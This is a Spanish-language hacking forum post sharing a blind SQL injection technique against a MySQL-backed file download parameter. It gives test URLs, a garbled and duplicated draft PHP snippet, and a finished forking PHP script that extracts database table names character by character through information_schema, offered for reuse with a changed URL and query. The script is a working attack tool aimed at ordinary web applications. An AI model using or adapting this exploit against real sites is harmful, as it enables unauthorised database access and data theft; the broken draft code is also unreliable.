Posteare Algunas de mis Experiencias "Casos" Dentro de las Inyecciones SQL en MYSQL.
Asi si alguien tiene algun problema o falla similar, pueda tener aunque sea una guia de como se podria Resolver.
Web:
Código:
http://www.site.com/download.php?id=2
Al Dar Click Se Descarga el Archivo Numero 2, de la base de datos.
Citar
http://www.site.com/download.php?id=2+and+1=0 ERROR [No Descarga]
http://www.site.com/download.php?id=2+and+1=1 OK [Si Descarga]
http://www.site.com/download.php?id=2+and+1=1 OK [Si Descarga]
Como no es Una Inyeccion Comun que podria Mostrar algun Tipo de Informacion, tenia que ocupar la Tecnica de Blind SQL.
Pues Bien Me Prepare a Codear un Script que me facilitara la Vida, pero llegue a un problema.
Si Hacia Alguna peticion Curl o Simplemente file_get_contents, no tenia Ninguna respuesta. Tenia que obtener la forma de diferenciar un valor Verdadero de uno Falso. De lo cual Nacio el Siguiente Script.
Citar
<?
$x=97;
$substring = 0;
$sql = "SELECT+column_name+from+information_schema.columns+where+table_name='tabla'+limit+".$limit.",1";
$url="http://www.site.com/download.php?id=2+AND+ascii(substring((".$sql."),".$substring.",1))="$x;
$var = strlen(file_get_contents($url,FALSE,NULL,0,1));
if ($var != 0){
echo "TRUE";
}else{
echo "FALSE";
}
}
?>
$x=97;
$substring = 0;
$sql = "SELECT+column_name+from+information_schema.columns+where+table_name='tabla'+limit+".$limit.",1";
$url="http://www.site.com/download.php?id=2+AND+ascii(substring((".$sql."),".$substring.",1))="$x;
$var = strlen(file_get_contents($url,FALSE,NULL,0,1));
if ($var != 0){
echo "TRUE";
}else{
echo "FALSE";
}
}
?>
La parte en Rojo muestra cantidad maxima que recibira.
Leemos con strlen el largo del string, si recibimos auque sea 1 caracter significa que es verdadero.
Ya tenemos Nuestro Motor Casi Listo.
Script Finalizado :
Código:
<?php
/*
Coded by OzX[NuKE/US]
http://foro.undersecurity.net
*/
set_time_limit (0);
error_reporting(0);
function ordenar($file){
$file = file($file);
foreach ($file as $var){
list($ansii,$valores)= explode(">",$var);
$vars[$ansii] = $valores;
}
ksort($vars);
foreach ($vars as $var){
$data .=trim($var);
}
return array($data,$vars);
}
function blind($limit,$substring,$file){
$ascii = array(44,0,95,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,
113,114,115,116,117,118,119,120,121,122,48,49,50,51,52,53,54,55,56,57,
65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90);
for ($x=0;$x<=count($ascii);$x++){
$f1=fopen($file,"a");
$sql = "SELECT+table_name+from+information_schema.tables+where+table_schema='db'+limit+".$limit.",1"; //Mostrar las Tablas de la db
$url="http://www.site.com/download.php?id=2+AND+ascii(substring((".$sql."),".$substring.",1))=".$ascii[$x];
$var = strlen(file_get_contents($url,FALSE,NULL,0,1));
if ($var != 0){
$info = $substring . ">".chr($ascii[$x])."\n";
$string.= chr($ascii[$x]); //Obtenemos el Valor y lo Guardamos
echo "[".$substring."] > ENCONTRADO :>>>>>>>>>>> ".$string."\r\n";
fwrite($f1,$info);
fclose($f1);
exit();
}else{
echo chr($ascii[$x]).chr(13);
}
}
}
############################################################################################
$start = $argv[2];
$finish = $argv[3];
$limit = $argv[1];
$file = rand().".txt";
if (file_exists($file)) {
unlink($file);
}
$pids = array();
for($i=$start;$i<=$finish;$i++)
{
$pid = pcntl_fork();
if($pid == -1) { die('ERROR FORK');
} else if ($pid) {
$pids[] = $pid;
} else {
blind($limit,$i,$file);
exit();
}
}
foreach($pids as $pid) {
pcntl_waitpid($pid, $status);
}
list($data,$vars) = ordenar($file);
echo "Valor Obtenido :> ".$data."\r\n";
unlink($file);
?>
Claramente Tienen que Cambiar la url, y la consulta que desean hacer.
recibe 3 parametros de Entrada.
Código:
$start = $argv[2]; //=> Desde Donde partira el Substring ej => 1 , empezara del segundo valor
$finish = $argv[3]; //=> En donde Terminara el Substring => 9
$limit = $argv[1]; //=> Valor del Limit, Primer Valor , Segundo Tercero cuarto ... (limit+0,1) = $limit = 0
Saludos ¡
OzX¡
Fuente : http://foro.undersecurity.net/read.php?5,775,776